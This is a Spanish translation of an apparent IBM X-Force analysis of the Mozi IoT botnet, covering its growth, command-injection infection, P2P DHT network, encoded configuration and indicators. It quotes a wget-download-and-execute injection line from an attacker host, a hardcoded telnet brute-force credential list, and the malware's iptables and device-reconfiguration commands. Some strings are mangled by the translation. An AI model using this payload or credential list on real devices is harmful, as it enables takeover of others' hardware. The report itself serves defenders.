Un nuevo ataque de botnet acaba de llegar a la ciudad

Un jugador relativamente nuevo en el campo de las amenazas, la botnet Mozi, se ha disparado entre los dispositivos de Internet de las cosas (IoT), según descubrió IBM X-Force.

Este malware ha estado activo desde finales de 2019 y tiene una superposición de código con Mirai y sus variantes. Mozi representó casi el 90 % del tráfico de red de IoT observado desde octubre de 2019 hasta junio de 2020.

Esta sorprendente adquisición estuvo acompañada de un enorme aumento en la actividad general de las botnets de IoT, lo que sugiere que Mozi no eliminó a los competidores del mercado. Más bien, inundó el mercado, eclipsando la actividad de otras variantes. En general, las instancias de ataque de IoT combinadas desde octubre de 2019, cuando los ataques comenzaron a aumentar notablemente, hasta junio de 2020 son un 400 % más altas que las instancias de ataque de IoT combinadas de los dos años anteriores.

Este aumento en los ataques de IoT podría deberse a una serie de causas, pero en parte puede ser el Resultado de un ámbito de IoT en constante expansión para que los actores de amenazas se dirijan. Hay alrededor de 31 mil millones de dispositivos IoT desplegados en todo el mundo, y la tasa de despliegue de IoT ahora es de 127 dispositivos por segundo.

Los atacantes han estado aprovechando estos dispositivos desde hace algún tiempo, sobre todo a través de la botnet Mirai. El equipo de IBM X-Force Incident Response and Intelligence Services (IRIS) lo ha estado siguiendo durante casi cuatro años. Entonces, ¿por qué este repentino salto? La investigación de IBM sugiere que Mozi Continúa teniendo éxito en gran medida mediante el uso de ataques de inyección de comandos (CMDi), que a menudo resultan de la mala configuración de los dispositivos IoT. El crecimiento continuo del uso de IoT y los protocolos de configuración deficientes son los posibles culpables de este salto. Este aumento puede haber sido impulsado aún más por el acceso remoto a las redes corporativas con mayor frecuencia debido a COVID-19.

Una botnet de IoT se puede utilizar para realizar ataques de denegación distribuida del servicio (DDoS), robar datos y enviar spam. Hay una gran cantidad de diferentes tipos de dispositivos IoT para explotar:

• IoT de consumo: dispositivos domésticos, como cámaras de seguridad, control de iluminación, electrodomésticos, etc.
• IoT comercial: dispositivos diseñados para su uso en diversas industrias. Por ejemplo, el sistema sanitario dispone de marcapasos y monitores conectados a Internet. Las industrias del transporte y la construcción utilizan dispositivos asociados con rastreadores de vehículos, telemática, sistemas logísticos y de cadena de suministro y modelado de información de edificios.
• Enterprise: Dispositivos diseñados para su uso en oficinas, como proyectores, routers, sistemas de seguridad y publicidad digital.
• El IoT industrial: sistemas de control industrial, sistemas de automatización de líneas de producción, controladores lógicos y sistemas de aeronaves.
• Infraestructura IoT: sistemas de gestión de ciudades inteligentes, dispositivos de control de tráfico, dispositivos de monitoreo de Empresa de servicios públicos, etc.
• Internet de las Cosas Militares: Dispositivos biométricos de combate wearable, robots y equipamiento de vigilancia.

Esta gran superficie de ataque deja a las organizaciones vulnerables a las botnets de IoT. A esto hay que añadir los agujeros de seguridad que suelen tener estos dispositivos al salir de fábrica y las prácticas de refuerzo de la seguridad laxas en el despliegue. La vulnerabilidad más notable en el IoT proviene de ataques CMDi.

Casi todos los objetivos de IoT observados por IBM intentaron utilizar ataques CMDi para obtener acceso inicial al dispositivo. Si el endpoint objetivo era un dispositivo IoT y es susceptible a estos ataques, la carga útil se descargó y ejecutó.

Los ataques CMDi son extremadamente populares contra los dispositivos IoT por varias razones. En primer lugar, los sistemas integrados de IoT suelen contener una interfaz web y una interfaz de depuración heredadas del desarrollo del firmware que pueden ser objeto de explotación. En segundo lugar, los módulos PHP integrados en las interfaces web de IoT pueden ser explotados para dar a los actores maliciosos capacidad de ejecución remota. Y en tercer lugar, las interfaces de IoT suelen quedar vulnerables cuando se despliegan porque los administradores no las refuerzan mediante la desinfección de la entrada esperada. Esto permite a los actores de amenazas entrada comandos de shell como "wget".

Nuestro análisis reveló que la botnet Mozi aprovecha CMDi mediante el uso de un comando de shell "wget", y luego altera los permisos para permitir que el actor de amenazas interactúe con el sistema afectado. Por ejemplo:

wget http://xxx.xx.xxx.xxx/bins/mozi.a -o /var/tmp/mozi.a; chmod 777 /var/tmp/mozi.a; rm -rf /var/tmp/mozi.a

Si el host fuera vulnerable a CMDi, este comando descargaría y ejecutaría un archivo llamado "mozi.a". Nuestro análisis de esta muestra en particular indica que el archivo se ejecuta en un microprocesador sin arquitectura de etapas interbloqueadas (MIPS). Esta es una extensión que entienden las máquinas que ejecutan una arquitectura de computadora con conjunto de instrucciones reducido (RISC), que prevalece en muchos dispositivos IoT. Una vez que el atacante obtiene acceso completo al dispositivo a través de la botnet, se puede cambiar el nivel de firmware y se puede plantar malware adicional en el dispositivo.

Aunque este ejemplo cita un vector bien conocido, puede seguir siendo eficaz por dos razones principales. En primer lugar, las nuevas vulnerabilidades permiten la actualización constante de los intentos de explotación a través de CMDi, y se puede aprovechar la implementación lenta de parches. En segundo lugar, esta actividad se automatiza fácilmente, lo que permite a los actores de amenazas atacar una amplia franja de dispositivos rápidamente a bajo costo.

La infraestructura de la botnet Mozi parece tener su origen principalmente en China, y representa el 84 % de la infraestructura observada. Este hecho se alinea con otras investigaciones de código abierto sobre la actividad de IoT en 2020.

A continuación se muestra una lista de vulnerabilidades que IBM ha observado que la botnet Mozi intenta explotar:

La botnet Mozi es una botnet peer-to-peer (P2P) basada en el protocolo de tabla hash descuidada distribuida (DSHT), que puede propagarse a través de explotar dispositivos IoT y contraseñas de telnet débiles.

Tras la ejecución, la botnet Mozi intenta vincular el puerto UDP local 14737. La muestra lee /proc/net/tcp o /proc/net/raw para encontrar y eliminar los procesos que utilizan los puertos 1536 y 5888. La muestra comprueba si el archivo /usr/bin/python existe. Si existe, la muestra cambia su nombre de proceso a sshd. De lo contrario, la muestra lo cambia a dropbear.

Se sabe que la botnet Mozi tiene al menos dos características únicas. Utiliza ECDSA384 (algoritmo de firma digital de curva elíptica 384) para Verify su integridad. Además, reutiliza partes del código Gafgyt.

Contiene nodos públicos DHT codificados, que se pueden utilizar para unirse a la red P2P. Estos nodos son:

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881

La botnet Mozi contiene cuatro capacidades principales. Puede realizar ataques de denegación distribuida del servicio (DDoS) (HTTP, TCP, UDP); llevar a cabo un ataque de ejecución de comandos; descargar la carga útil maliciosa de la URL especificada y ejecutarla; y recopilar información de bot.

La siguiente tabla contiene detalles de alto nivel sobre los archivos analizados. Los detalles incluyen tanto los archivos presentados como los archivos residuales. (Los archivos residuales son archivos que se extraen de forma estática o dinámica durante el análisis de malware). Los datos incluyen el nombre del archivo, la categoría del archivo según lo determinado por el análisis, el hash del archivo y la paternidad del archivo en relación con los otros archivos de la tabla.

Al ejecutarse, la muestra intenta conectarse al puerto UDP local 14737. La muestra lee /proc/net/tcp o /proc/net/raw para encontrar y eliminar los procesos que utilizan los puertos 1536 y 5888. La muestra comprueba si el archivo /usr/bin/python existe. Si existe, la muestra cambia su nombre de proceso a sshd. De lo contrario, la muestra lo cambia a dropbear:

La muestra también intenta actualizar la lista de control de acceso para bloquear SSH y telnet para evitar que otras botnets los utilicen.

iptables -I INPUT -p tcp –destination-port 22 -j DROP iptables -I INPUT -p tcp –destination-port 23 -j DROP iptables -I INPUT -p tcp –destination-port 2323 -j DROP iptables -I OUTPUT - p tcp –source-port 22 -j DROP iptables -I OUTPUT -p tcp –source-port 23 -j DROP iptables -I OUTPUT -p tcp –source-port 2323 -j DROP

También selecciona aleatoriamente puertos codificados en el iptable:

La botnet Mozi utiliza un protocolo DHT personalizado para desarrollar su red P2P. El proceso de cómo un nuevo nodo Mozi se une a la red DHT es el siguiente:

• Un nuevo nodo Mozi enviará una solicitud HTTP inicial a http[:]//ia[.]51[.]la para registrarse.
• Un nuevo nodo Mozi envía una consulta DHT find_node a ocho nodos públicos DHT codificados y conecta estos nodos para unirse a la red. Encuentra nodo se utiliza para encontrar la información de contacto de un nodo dado su ID. Estos ocho nodos públicos DHT codificados son los siguientes:

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881

La muestra necesita generar un ID para el nodo actual. Según un informe de 360 Netlab sobre Mozi,  el "ID es de 20 bytes y consiste en el prefijo 888888 incrustado en la muestra o el prefijo especificado por el archivo de configuración [hp], más una cadena generada aleatoriamente". El archivo de configuración se muestra a continuación:.

[ss]bot[/ss][hp]88888888[/hp][count]http[:]//ia[.]51[.]la/go1?id=19894027&pu=http%3a%2f%2fbaidu.com/[idp][/count] 

Para unirse a la red DHT, la muestra envía una consulta de ping a estos nodos públicos DHT codificados. La consulta de ping con ID de nodo se muestra en el tráfico en la figura de Wireshark a continuación

Ambas muestras se empaquetan mediante un packer UPX personalizado. Borra el valor de p_file_size y p_blocksize a cero en la estructura p_info.

El ejemplo contiene un archivo de configuración codificado que se muestra a continuación:

Contiene cuatro secciones:

• Azul: datos de configuración (428 bytes)
• Verde: firma ECDSA384 1 (96 bytes)
• Rojo: versión de configuración (4 bytes)
• Negro: firma ECDSA384 2 (96 bytes)

Los datos de configuración se codifican mediante una clave XOR codificada, 4E665A8F80C8AC238DAC4706D54F6F7E. Los datos de configuración decodificados se muestran a continuación:

[ss]bot[/ss][hp]88888888[/hp][count]http[:]//ia[.]51[.]la/go1?id=19894027&pu=http%3a%2f%2fbaidu.com/[idp][/count] 

Los datos de configuración admiten varios comandos etiquetados de la siguiente manera:

La botnet Mozi reutiliza partes del código Gafgyt en el ataque de denegación distribuida del servicio (DDoS). Admite múltiples tipos de ataques de denegación distribuida del servicio (DDoS), como HTTP, TCP y UDP.

La firma ECDSA384 1 se utiliza para Verify el valor hash de los datos de configuración. La clave pública codificada utilizada para Verify es:

4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88

Está codificado con la clave XOR 4E665A8F80C8AC238DAC4706D54F6F7E. La clave pública decodificada es:

02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6 
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d 
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 
c6

La versión de configuración determina cuándo actualizar el bot. Actualizará el bot cuando este valor sea mayor que su valor actual. La firma ECDSA384 2 se utiliza para Verify estas tres primeras partes del archivo de configuración. La clave pública codificada utilizada para Verify es:

4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F 69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B 38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 9 4F A1 9E

Está codificado con la clave XOR 4E665A8F80C8AC238DAC4706D54F6F7E. La clave pública decodificada es:

02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21 
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65 
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea 
Ef

Además de las vulnerabilidades que explota la botnet Mozi para obtener acceso al dispositivo de la víctima, la botnet Mozi también puede aplicar fuerza bruta a las credenciales de telnet utilizando una lista codificada de credenciales:

root
admin
CUAdmin
default
rapport
super
telnetadmin
!!Huawei
keomeo
support
CMCCAdmin
e8telnet
e8ehome1
e8ehome
user
mother
Administrator
service
supervisor
guest
admin1
administrator
666666
888888
ubnt
tech
xc3511
vizxv
Pon521
e2008jl
r@p8p0r+
GM8182
gpon
Zte521
hg2x0
epicrouter
conexant
xJ4pCYeW
v2mprt
PhrQjGzk
h@32LuyD
gw1admin
adminpass
xmhdipc
juantech
@HuaweiHgw
adminHW
2010vesta
2011vesta
plumeria0077
cat1029
123456
54321
hi3518
password
12345
fucker
pass
admin1234
1111
smcadmin
1234
klv123
klv1234
zte
jvbzd
anko
zlxx
7ujMko0vizxv
7ujMko0admin
system
ikwb
dreambox
realtek
00000000
1111111
meinsm

A continuación se muestra un ejemplo de ataque de fuerza bruta de inicio de sesión telnet utilizado por la muestra:

Mozi.m y Mozi.a

Network

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881

Cadenas notables (sin empaquetar)

8.8.8.8
/proc/net/route
Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)
Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/50.0.2661.102 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, similar a Gecko) Chrome/51.0.2704.79 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 similar a Mac OS X) AppleWebKit/600.1.4 (KHTML, similar a Gecko) Versión/8.0 Móvil/12H143 Safari/600.1.4
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, similar a Gecko) Chrome/45.0.2454.101 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, similar a Gecko) Chrome/46.0.2490.80 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, similar a Gecko) Versión/9.0 Safari/601.1.56
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, similar a Gecko) Versión/9.0.1 Safari/601.2.7 Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) similar a Gecko Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Versión/12.16
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, similar a Gecko) Versión/7.0.3 Safari/7046A194A Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, similar a Gecko) Chrome/50.0.2661.102 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, similar a Gecko) Chrome/50.0.2661.94 Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, similar a Gecko) Chrome/50.0.2661.89 Safari móvil/537.36 Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, similar a Gecko) Versión/4.0 Chrome/33.0.0.0 Safari móvil/537.36
Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)
 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)
 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts) Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 GET HEAD POST ./config
/tmp/config cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL “http://127.0.0.1″>http://127.0.0.1” cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword “acsMozi” iptables -I entrada -p tcp –destination-port 35000 -j DROP iptables -I entrada -p tcp –destination-port 50023 -j DROP iptables -I resultados -p tcp –source-port 50023 -j DROP iptables - I resultados -p tcp –source-port 35000 -j DROP iptables -I entrada -p tcp –destination-port 7547 -j DROP iptables -I resultados -p tcp –source-port 7547 -j DROP [cpux] [/cpux] [cpu] [/cpu] [ssx] [/ssx] [ss] [/ss] ninguno [sv] [/sv] [rn] [/rn] ejecutar: [nd] [/nd] /tmp /var / temp iptables -I entrada -p udp –destination-port %d -j ACCEPT iptables -I resultados -p udp –source-port %d -j ACCEPT iptables -I PREROUTING -t nat -p udp –destination-port %d - j ACCEPT iptables -I POSTROUTING -t nat -p udp –source-port %d -j ACCEPT 0.0.0.0 [idp] Este nodo no acepta anuncios dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881

El escenario de botnets IoT continúa cambiando, y los datos de IBM® Security sugieren que los actores de amenazas siguen activos en este espacio. A medida que los grupos de botnets más nuevos, como Mozi, aumentan las operaciones y la actividad general de IoT, las organizaciones que utilizan dispositivos IoT deben ser conscientes de la amenaza en evolución. IBM ve cada vez más dispositivos IoT empresariales bajo el fuego de los atacantes. La inyección de comandos sigue siendo el principal vector de infección preferido por los actores de amenazas, lo que reitera la importancia de cambiar la configuración predeterminada de los dispositivos y utilizar pruebas de penetración eficaces para detectar y corregir las brechas en la seguridad.

Metadatos de Mozi.m

Metadatos de Mozi.a

5738f1bc69e78d234dd04e2fbfcfb4b86403fc9117b133cf1bb7cda67e7aef0a Metadatos

83441d77abb6cf328e77e372dc17c607fb9c4a261722ae80d83708ae3865053d Metadata